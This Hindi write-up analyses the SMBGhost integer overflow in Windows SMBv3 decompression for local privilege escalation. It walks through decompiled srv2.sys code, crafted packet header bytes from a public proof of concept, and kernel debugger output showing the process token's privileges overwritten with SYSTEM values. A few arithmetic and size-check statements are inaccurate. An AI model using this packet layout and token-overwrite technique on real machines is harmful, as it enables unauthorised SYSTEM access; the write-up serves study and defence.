
SMBv3 में Windows 10/Server version 1903 से जोड़ी गई compression सुविधा में integer overflow दोष है, जिसे Microsoft ने 12/03/2020 को पुष्टि की। यह attacker को Local Privilege Escalation (LPE) और Remote Code Execution (RCE) करने की अनुमति देता है। यहाँ केवल LPE दोष के बारे में बात की जाएगी।
प्रभावित संस्करण:
srv2.sys फ़ाइल का विश्लेषण करने पर, Decompress से संबंधित निम्नलिखित फ़ंक्शन कॉल होते हुए पाए गए:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
सबसे पहले, एक smb डेटा पैकेट प्राप्त करने के लिए `Srv2ReceiveHandler` फ़ंक्शन को कॉल किया जाता है, और यह `ProtocolId` प्रोटोकॉल के अनुरूप एक फ़ंक्शन को कॉल करता है। यदि `PrococolId` = 0x424D53FC है, तो यह `Srv2DecompressMessageAsync` फ़ंक्शन को कॉल करेगा, जो डेटा पैकेट को डीकंप्रेस करने के लिए `Srv2DecompressData` फ़ंक्शन को कॉल करता है। `Srv2DecompressData` फ़ंक्शन, डीकंप्रेसन के बाद डेटा संग्रहीत करने के लिए एक `Alloc` आवंटित करने हेतु `SrvNetAllocateBuffer` फ़ंक्शन को कॉल करेगा, फिर यह डेटा पैकेट को डीकंप्रेस करने के लिए `SmbCompressionDecompress` फ़ंक्शन को कॉल करेगा, और अंत में `memcpy` फ़ंक्शन को कॉल करेगा। इस प्रकार, संपूर्ण डीकंप्रेसन प्रक्रिया में निम्नलिखित मुख्य चरण होंगे:
- 1. Allocate
- 2. Decompress
- 3. Copy
Microsoft द्वारा प्रदान किए गए दस्तावेज़ के अनुसार, `COMPRESSION_TRANSFORM_HEADER` संरचना का उपयोग क्लाइंट और सर्वर के बीच संपीड़ित डेटा भेजने और प्राप्त करने के लिए किया जाता है। इसकी संरचना इस प्रकार है:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
यहाँ हम केवल ऊपर के 2 मुख्य फ़ील्ड पर ध्यान केंद्रित करते हैं:
OriginalCompressedSegmentSize असंपीड़ित डेटा सेगमेंट का आकार है, जो बाइट में मापा जाता है।Offset संपीड़ित डेटा की शुरुआत और _COMPRESSION_TRANSFORM_HEADER संरचना के अंत के बीच बाइट में विचलन है।इस प्रकार संपीड़ित डेटा पैकेट का रूप इस प्रकार होगा:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
`Srv2DecompressData` फ़ंक्शन का विश्लेषण करने पर पता चलता है कि यह फ़ंक्शन एक संपीड़ित डेटा पैकेट `COMPRESSION_TRANSFORM_HEADER` (Header) प्राप्त करता है, फिर `SrvNetAllocateBuffer` फ़ंक्शन के माध्यम से `Header->OriginalCompressedSegmentSize` + `Header->Offset` के योग को पैरामीटर के रूप में उपयोग करके एक मेमोरी क्षेत्र (Alloc) आवंटित करता है, उसके बाद संपीड़ित डेटा को डिकंप्रेस करता है और बिना संपीड़ित डेटा को `Alloc->Buffer` में कॉपी करता है।

Integer overflow त्रुटि तब होती है जब `Srv2DecompressData` `SrvNetAllocateBuffer` फ़ंक्शन को कॉल करता है। वास्तव में `SrvNetAllocateBuffer` फ़ंक्शन 2 64-बिट मान प्राप्त करता है, लेकिन `SrvNetAllocateBuffer` को कॉल करते समय, `Srv2DecompressData` इसमें केवल 2 32-बिट मान (ULONG) पास करता है। जबकि `OriginalCompressedSegmentSize` और `Offset` दोनों ULONG हैं, इन्हें एक साथ जोड़ने पर परिणाम 32-बिट से बड़ा हो सकता है। इसीलिए integer overflow त्रुटि होती है (सीधे शब्दों में समझें तो जब 0xffffffff (`OriginalCompressedSegmentSize`) को 0x10 (`Offset`) के साथ जोड़ा जाता है, तो परिणाम 0xf0000000f होता है, लेकिन `SrvNetAllocateBuffer` फ़ंक्शन को केवल 0x0000000f मान प्राप्त होता है)।

Integer overflow त्रुटि के कारण Alloc मेमोरी क्षेत्र गलत तरीके से आवंटित होगा (आवंटित किया जाने वाला आकार वास्तविक आकार से छोटा होगा), जिससे buffer overflow त्रुटि हो सकती है:

यह जानने के लिए कि buffer overflow त्रुटि होती है या नहीं, और यह कैसे होती है, हम `SrvNetAllocateBuffer` और `SmbCompressionDecompress` फ़ंक्शनों का विश्लेषण करेंगे।``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
उपरोक्त कोड IDA Pro के Pseuducode से लिया गया है, जो काफी जटिल लगता है। हालाँकि, हम Zecops द्वारा पुनर्लिखित कोड को देखकर इसे सरलता से समझ सकते हैं:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
फ़ंक्शन `SrvNetAllocateBuffer` आवंटित करने के लिए आवश्यक आकार प्राप्त करेगा, फिर जाँच करेगा कि क्या आकार 0x100100 से बड़ा है, यदि बड़ा है तो NULL लौटाएगा। यह फ़ंक्शन `SrvDisableNetBufferLookAsideList` चर की भी जाँच करता है, हालाँकि, मुझे इस चर के बारे में कोई दस्तावेज़ नहीं मिला, और यह डिफ़ॉल्ट रूप से 0 पर सेट है, इसलिए शायद यह बहुत महत्वपूर्ण नहीं है।
यदि शर्त पूरी होती है, फ़ंक्शन इनपुट AllocSize के आधार पर एक index मान की गणना करना जारी रखेगा, फिर गणना किए गए index के आधार पर `SrvNetBufferLookasides` सरणी (इस सरणी में 9 तत्व हैं) से एक मान निकालेगा और आवंटन करेगा। असेंबली कोड से, Zecops ने प्रत्येक index के अनुरूप आकारों की गणना करने के लिए `python` का उपयोग किया:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
इस प्रकार, 0x1100 से कम या उसके बराबर आकार के आवंटन अनुरोध के लिए, फ़ंक्शन 0x1100 आकार का मेमोरी क्षेत्र आवंटित करेगा; 0x1100 से बड़े और 0x2100 से कम या उसके बराबर आकार के आवंटन अनुरोध के लिए, फ़ंक्शन 0x2100 आकार का मेमोरी क्षेत्र आवंटित करेगा; इसी प्रकार बड़े आवंटन अनुरोधों के लिए भी।
आवंटन पूरा होने के बाद, फ़ंक्शन एक पता लौटाएगा जो एक संरचना को संग्रहीत करता है जिसे Zcops ने ALLOCATION_HEADER नाम दिया है। शोध के अनुसार, इस संरचना में निम्नलिखित डेटा होगा:

दिलचस्प बात यह है कि ALLOCATION_HEADER ठीक ALLOCATION_HEADER->UserBuffer के नीचे स्थित है; यदि UserBuffer में बफ़र ओवरफ़्लो संभव है, तो हम ALLOCATION_HEADER में मनमाना मान लिख सकते हैं।

अब हम देखेंगे कि SmbCompressionDecompress फ़ंक्शन क्या करता है:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
ऊपर दिया गया कोड IDA के pseudocode से लिया गया है, यदि आप समझ नहीं पा रहे हैं कि उपरोक्त कोड क्या करता है, तो आप Zecops द्वारा फिर से लिखा गया कोड देख सकते हैं:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
यह फ़ंक्शन मूल रूप से संपीड़ित डेटा को डीकंप्रेस करता है और इसे Alloc->UserBuffer + Offset में संग्रहीत करता है। यदि डीकंप्रेसन सफल होता है, तो FinalCompressedSize पैरामीटर को CompressedBufferSize पैरामीटर के बराबर सेट किया जाता है, जो Srv2DecompressData फ़ंक्शन से पारित OriginalCompressedSegmentSize मान है।
Srv2DecompressData फ़ंक्शन पर वापस लौटते हुए, SmbCompressionDecompress फ़ंक्शन को निष्पादित करने के बाद, फ़ंक्शन आगे यह तुलना करता है कि क्या FinalCompressedSize और OriginalCompressedSegmentSize मान बराबर हैं, और क्या लौटाया गया Status < 0 है।``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
जैसा ऊपर कहा गया है, यदि डीकंप्रेसन सफल होता है, तो `FinalCompressedSize` और `OriginalCompressedSegmentSize` बराबर होंगे और `Status` द्वारा लौटाया गया मान 0 से बड़ा या बराबर होगा। इसलिए, यदि डीकंप्रेसन सफल होता है, तो ऊपर दिए गए if फ़ंक्शन के अंदर का कोड नहीं चलेगा। हम अगला कोड खंड विश्लेषित करेंगे:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
यह कोड Header->Offset > 0 की जाँच करता है। Offset मान वास्तव में संपीड़ित (compressed) डेटा क्षेत्र और Header के अंत के बीच का विचलन (deviation) है, जो असंपीड़ित (uncompressed) डेटा क्षेत्र के आकार के अनुरूप होता है। फिर memcpy फ़ंक्शन को कॉल करके असंपीड़ित डेटा क्षेत्र को Alloc->UserBuffer की शुरुआत में कॉपी किया जाता है।
इस प्रकार, यदि buffer overflow त्रुटि का उपयोग करके Alloc Header क्षेत्र के ऊपर से लिखा जा सके, ताकि Alloc->UserBuffer पॉइंटर का मान बदलकर पता A पर ले जाया जा सके, तो पता A पर वह डेटा होगा जो क्लाइंट द्वारा भेजा गया असंपीड़ित डेटा नहीं है। इसे स्पष्ट करने के लिए, हम Daniel García Gutiérrez (@danigargu) और Manuel Blanco Parajón (@dialluvioso_) द्वारा लिखित POC का विश्लेषण करेंगे, फिर इसे बेहतर ढंग से समझने के लिए debug करेंगे।
POC निम्नलिखित कार्य करता है:
अपना स्वयं का token प्राप्त करता है।
buffer नामक एक सरणी (array) बनाता है जिसका आकार 0x1110 है, सरणी की शुरुआत में 0x1108 'A' अक्षर संग्रहीत करता है, फिर ऊपर प्राप्त [Token + 0x40] मान संग्रहीत करता है। इसका उद्देश्य क्या है, हम बाद में बताएँगे।
सरणी buffer में डेटा को संपीड़ित करता है और compressed_buffer सरणी में संग्रहीत करता है।
नीचे दिए अनुसार डेटा वाली एक buf नामक सरणी बनाता है:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
- फिर एक `packet` सरणी (array) बनाएं जिसका आकार हो: `sizeof(buf) + 0x10 + len`, जहाँ `len` ऊपर संपीड़न के बाद `buffer` का आकार है (`compressed_buffer` का **data** आकार)।
- `buf` सरणी का डेटा `packet` में कॉपी करें, फिर `0x1FF2FFFFBC` मान कॉपी करें, और उसके बाद `compressed_buffer` सरणी का डेटा:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet भेजें।winlogon.exe पर OpenProcess करेगा और open cmd shellcode इंजेक्ट करेगा।नीचे मैं ऊपर बताए गए POC में आने वाली अड़चनों को समझाता हूँ।
buffer सरणी को 0x1110 बाइट आकार के साथ क्यों बनाना आवश्यक है, और उसमें 0x1108 'A' अक्षर और एक [token + 0x40] मान संग्रहीत करना। कुल मिलाकर, इस POC का उद्देश्य SMB के फ़ंक्शनों का उपयोग करके अपने स्वयं के token->Privileges मान ([Token + 0x40]) को बदलना है।
SMB Header में हम original decompressed size और Offset पर ध्यान देंगे, जिनके मान क्रमशः 0xffffffff और 0x00000010 हैं। उद्देश्य यह है कि SMB integer overflow दोष से प्रभावित हो, जिससे Alloc->Buffer नामक एक सरणी आवंटित हो जिसका आकार केवल 0x1100 (< 0x1110 + Raw data size) हो।
हेडर के बाद 0x10 बाइट पर संग्रहीत मान 0x1FF2FFFFBC एक ऐसा मान है जो SYSTEM प्रक्रिया के token->Privileges->Present और token->Privileges->Enabled में संग्रहीत होता है। इसका अर्थ है कि यदि किसी प्रक्रिया के token->Privileges->Present और token->Privileges->Enabled का मान 0x1FF2FFFFBC के बराबर है, तो उस प्रक्रिया को SYSTEM प्रक्रिया के समान विशेषाधिकार प्राप्त होंगे।
उपरोक्त जानकारी से, हम अनुमान लगा सकते हैं कि POC चाहता है कि SMB के फ़ंक्शन उसके token->Privileges->Present और token->Privileges->Enabled के मान को 0x1FF2FFFFBC में बदल दें। सटीक जानकारी के लिए, हम kernel debug भाग में जाएंगे।
सबसे पहले, हम Srv2DecompressData फ़ंक्शन की शुरुआत में breakpoint लगाते हैं।```
0: kd> bm srv2!Srv2DecompressData
1: fffff80717c47e60 @!"srv2!Srv2DecompressData" 0: kd> bl 1 e Disable Clear fffff80717c47e60 0001 (0001) srv2!Srv2DecompressData
फिर POC चलाएँ, फ़ंक्शन `Srv2DecompressData` कॉल किया जाएगा, और kernel फ़ंक्शन `srv2!Srv2DecompressData` की शुरुआत में रुक जाएगा।
आगे Header का डेटा देखें:```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
यह packet सरणी का वह डेटा है जिसे POC ने ऊपर दिए गए POC विश्लेषण के अनुसार SMB को भेजा था। प्रारंभिक 0x10 बाइट SMB Header का भाग हैं, अगले 0x10 बाइट में 0x1FF2FFFFBC मान की दो बार उपस्थिति है, जो raw data क्षेत्र है, और अगले 0x13 बाइट संपीड़ित बफ़र डेटा हैं। इस प्रकार, Header का कुल आकार 0x33 बाइट है।

जब SrvNetAllocateBuffer फ़ंक्शन को कॉल करने का समय आता है और पारित किए गए पैरामीटर को देखते हैं, तो SrvNetAllocateBuffer फ़ंक्शन वास्तव में 0xf और null पैरामीटर प्राप्त करता है।
SrvNetAllocateBuffer फ़ंक्शन का लौटाया गया मान एक पॉइंटर है जो ALLOCATION_HEADER संरचना की ओर इंगित करता है (जैसा कि इस लेख में इसे कहा गया है)।```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

आगे `SmbCompressionDecompress` फ़ंक्शन को कॉल किया जाएगा, यह डीकंप्रेस करेगा और डीकंप्रेस किए गए डेटा को `Alloc->Buffer + Header -> Offset` में लिखेगा।```
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

इस समय Alloc->Buffer को [Token + 0x40] पते पर अधिलेखित कर दिया गया है। फ़ंक्शन Srv2DecompressData memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); को कॉल करके raw Data को Alloc->UserBuffer में कॉपी करता है। हालाँकि, Alloc->UserBuffer को Token->Privileges पर अधिलेखित कर दिया गया है, इसलिए raw Data को Token->Privileges में लिखा जाएगा:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

इस बिंदु तक, POC प्रोग्राम के पास SYSTEM विशेषाधिकार है, अगला कदम एक SYSTEM प्रोग्राम (winlogon.exe) खोलना और cmd खोलने के लिए shellcode इंजेक्ट करना है।
# संदर्भ
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>